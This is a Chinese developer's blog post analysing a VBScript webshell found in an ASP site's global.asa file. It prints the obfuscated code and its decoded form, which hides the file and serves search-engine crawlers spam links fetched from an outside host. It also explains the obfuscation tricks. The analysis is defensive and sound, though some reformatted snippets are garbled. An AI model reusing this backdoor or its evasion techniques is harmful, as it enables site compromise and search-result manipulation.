1. 程式人生 > 程式設計 >網站後門檔案(Webshell)分析筆記

網站後門檔案(Webshell)分析筆記

前言

週末的時候,阿里雲發來了一條簡訊,說網站上發現了後門檔案,於是趕緊登入阿里雲網站,檢視該安全事件的相關資訊。

後門檔案對比

出現後門檔案的網站,在幾個目錄下均存在惡意的global.asa檔案,用Beyond Compare對這幾個檔案進行比較後發現內容相同,那隻需要分析其中一個檔案即可。

後門檔案功能

先上網查查global.asa檔案是幹什麼用的,在ASP Global.asa 檔案這個網頁中有介紹,簡單來說,就是可以在使用者開啟網頁前,執行其中的程式碼。

後門檔案格式化

然後用文字編輯器開啟global.asa這個檔案,精簡後的內容如下:

<script language="vbscript"
runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr,"`"
,""""):For i = 1 To Len(objstr):If Mid(objstr,i,1) <> "┊" Then NewStr = Mid(objstr,1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script> 複製程式碼

開頭的內容為 <script language="vbscript" runat="server">,說明其中的程式碼是用VB這門語言寫的,執行在伺服器端。

程式碼中有許多冒號,上網查了一下,在VB中,冒號可以起到和換行符相同的作用。那麼把所有的冒號都替換為換行符,並新增必要的縮排,格式化後的程式碼如下:

<script language="vbscript" runat="server">
sub Application_OnStart
end sub

sub Application_OnEnd
end Sub

Execute(JiaMi("79.110.32.69."))

function JiaMi(asp)
  ExeCuTe(
    JMONE(
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
    )
  )
end Function

Function JMONE(objstr)
  objstr = Replace(objstr,"""")
  For i = 1 To Len(objstr)
    If Mid(objstr,1) & NewStr
    Else
      NewStr = vbCrLf & NewStr
    End If
  Next
  JMONE = NewStr
End Function
</script>
複製程式碼
後門檔案分析

通過閱讀上面格式化之後的程式碼可以知道,函式Execute呼叫了函式JiaMi,而函式JiaMi又呼叫了函式JMONE,這說明關鍵的部分就是函式JMONE。

分析函式JMONE,可知其用於實現如下功能:

  1. 將傳入引數objstr中的 ` 字元替換成一對英文半形雙引號,並將處理後的字串重新賦給變數objstr;
  2. 遍歷字串objstr中的每個字元,在這裡是用函式Mid(objstr,1)來獲取當前字元。話說VB中獲取字串中指定字元的方式就是如此?還是為了防止被安全工具檢測到特徵,所以沒有用常規的方式?
  3. 對於遍歷到的每個字元,檢查該字元是否為┊,第一次見到這個字元,還不知道它是幹什麼用的,它的Unicode編號為U+250A,上網查了一下,才知道這個字元叫“製表符細四長劃豎線”。在這裡沒有用常見的 | 符號,是否也是為了避免被安全工具檢測到特徵?
  4. 如果當前字元為┊,則在變數NewStr前面加一個VB的換行符vbCrLf;否則將當前字元拼接到變數NewStr之前。看來是在該函式外先將惡意程式碼倒序排列,用特殊製表符當做換行符,然後傳入JMONE這個函式進行解析並執行,嘿,有點兒意思啊。
  5. 處理完傳入引數之後,將處理結果NewStr賦給變數JMONE,函式結束。

函式JMONE分析完了,接下來就分析分析呼叫這個函式的JiaMi。這個函式一看就是國人寫的,JiaMi就是“加密”嘛,嗯,簡單易懂,不錯不錯。

檢視JiaMi這個函式的程式碼,可以知道它只做了一件事,就是向JMONE這個函式傳入引數,並執行JMONE這個函式。給JMONE傳入的引數是下面這一長串亂七八糟的字串,但結合前面對JMONE的分析就可以知道,這只不過是倒序排列+製表符分隔的程式碼而已。下面這一串字元是傳入JMONE的引數:

"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
複製程式碼

按函式JMONE的邏輯進行還原上面的字串,新增必要的換行和縮排,就能得到下面的程式碼:

mianasp=split(asp,""."")
for i=0 to UBound(mianasp)-1
  hao=mianasp(i)
  aspcode=aspcode+chr(hao)
next
JiaMi=aspcode
複製程式碼

分析上面的程式碼,可知其功能如下:

  1. 將傳入的引數以英文點號.為分隔符進行分割,得到陣列mianasp;
  2. 遍歷陣列mianasp,將陣列中的每個字元由前往後拼接起來,最後得到字串aspcode,並將其賦給變數JiaMi。

在前文中,為了方便閱讀,將JiaMi這個函式中的字串進行了精簡。實際執行該函式後,得到的結果又是一大堆字串,仔細一看,還是VB程式碼,還是用冒號作為換行符。於是將其進行換行處理,並新增必要的縮排,最終關鍵部分的程式碼如下:

Function DeAsc(Str)
  Str=Split(Str,"%")
  For I=1 To Ubound(Str)
    DeAsc=DeAsc&Chr(Str(I)-18)
  Next
End Function

Function Htmll(Url,AChar)
  Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP")
  MSX.Open "GET",Url,False
  MSX.SetRequestHeader "User-Agent","MSIE"
  MSX.Send
  Htmll=MSX.ResponseBody
  Set MSX=Nothing
  Set ASM=Server.CreateObject("Adodb.Stream")
  ASM.Type=1
  ASM.Mode=3
  ASM.Open
  ASM.Write Htmll
  ASM.Position=0
  ASM.Type=2
  ASM.Charset=AChar
  Htmll=ASM.ReadText
  ASM.Close
  Set ASM=Nothing
End Function

Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa"))
if f.attributes<>39 then
  f.attributes=39
end if
Set fso=Nothing
  Bot=Request.ServerVariables("HTTP_USER_AGENT")
  host=Request.ServerVariables("HTTP_HOST")
  path_info=Request.ServerVariables("PATH_INFO")
 KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou")

For B=Lbound(KBot) To Ubound(KBot)
  If InStr(1,Bot,KBot(B),1)>0 Then
KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312")
    skyword=split(KeyData,"[0xSpider]")
    Response.Write(skyword(1))
  End if
Next
複製程式碼

上面的程式碼中定義了函式DeAsc和Htmll,並在後面的語句中呼叫了這兩個函式。下面就來具體分析這些程式碼做了哪些事:

  1. 定義變數fso = Server.CreateObject("Scripting.FileSystem&Object");這裡將函式引數字串分割成了1~3個不等的字串並手動進行拼接,應當也是為了躲過安全工具的檢測;
  2. 定義變數f = fso.Getfile("//./global.asa"),就是用來獲取網站根目錄下的global.asa檔案;
  3. 判斷f的attributes屬性值是否為39,如果不是則賦為39;上網查詢,可知這個屬性是多個值相加後得到的結果,39 = 32 + 4 + 2 + 1,其中的1為只讀檔案屬性,2為隱藏檔案屬性,4為系統檔案屬性;這部分程式碼的作用,就是將global.asa檔案設定為只讀、隱藏、系統檔案這三個屬性;
  4. 判斷網頁訪問使用者的UserAgent是否包含搜尋引擎爬蟲特徵值,即上面定義的變數KBot;如果判斷使用者為搜尋引擎爬蟲,則執行下面的操作;
  5. 執行前面定義過的函式Htmll,該函式接收兩個引數;而在第一個引數中,DeAsc裡的引數其實是很長一串,這裡做了精簡,執行DeAsc後得到的結果為http://file.sjc5.com/file/link.php?domain=,應該就是黑產所用的網站了,再將這個URL和使用者訪問的當前頁面URL相拼接,應該就是黑產用來記錄使用者訪問歷史的;第二個引數顯然是用來定義編碼的;
  6. 檢視函式Htmll的程式碼,可知它是以IE的UserAgent向指定URL發起請求,並獲取該URL對應的網頁內容;用Postman多次請求該URL:file.sjc5.com/file/link.p… ,所返回的內容是以一對字串[0xSpider]包裹起來的一堆HTML的a標籤,檢視這些a標籤的href屬性,前面一多半都是相對路徑,包含各種隨機的目錄名、檔名,且很多檔案的副檔名為shtml或aspx,看來這個網站後門就是針對ASP/ASP.NET的;後面的路徑則是包含域名的完整的網址,開啟幾個網址看了看,目測應該是已經被黑產動過手腳了;
  7. 上面的程式碼在執行完函式Htmll之後,將返回的結果以[0xSpider]為分隔符進行分割,最後將那一堆網址作為結果返回。
總結

將整個過程梳理下來之後,最終可以知道,這個網站後門是用來篡改搜尋引擎爬蟲結果的。總結這個後門檔案程式碼的特點如下:

  1. 轉換字元編碼:比如將正常的字母和符號轉換為ASCII碼,傳入函式JiaMi;
  2. 分割字串:傳入函式JiaMi的字串不僅被轉換為ASCII碼,而且各字元之間都用英文點號分隔開來;Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa")這條語句也是同理,將敏感的檔名global.asa進行拆分後再手動拼接;
  3. 改變字串順序:傳入函式JMONE的字串就是逆序排列的,在函式中再逆序拼接一遍,轉換為正序排列之後,就可以執行了;
  4. 改變字串編碼值:在DeAsc函式中,就是將字元的ASCII碼值減去數字18之後,再用Chr函式轉換成正常的字元。

雖然上面的程式碼嘗試了各種方式將關鍵資訊進行混淆,但最關鍵的一點是它無法改變的,就是它必須呼叫VB的Execute函式來執行程式碼。個人猜測該網站後門之所以會被阿里雲檢測出來,Execute函式是主要的原因。這時想到之前看過的JavaScript程式碼規範中,有一條就是禁止使用eval函式,應當也是出於同樣的考慮吧。

後記

雖然這個後門檔案的作用分析清楚了,也把它從伺服器上刪除掉了,但這個後門檔案究竟是如何出現在伺服器上的,這一點很關鍵,遺憾的是,並沒有找到網站漏洞的位置,也就是說沒有搞清楚這個後門檔案是從哪裡來的。不過這一套ASP寫的網站現在已經沒什麼訪問量了,剛好藉此機會把它下線,這樣也就不給入侵者機會了,權當是沒有辦法的辦法吧。

話說回來,網路安全真的是越來越重要了,也越來越專業了。尤其是對於防守方而言,即使有百密,但只要有一疏,那就意味著失敗。作為一名開發者,同時又需要負責伺服器及網站的安全,肩上的負擔自然更重一些,但是如此一來,也能夠讓自己以不同的角度去看待及分析問題,視野也更加開闊了。對於同樣的一件事情,是成為你的負累,還是會督促你成長,全看你用什麼樣的心態去看待它,你的世界,就是你所塑造的世界。

全文完。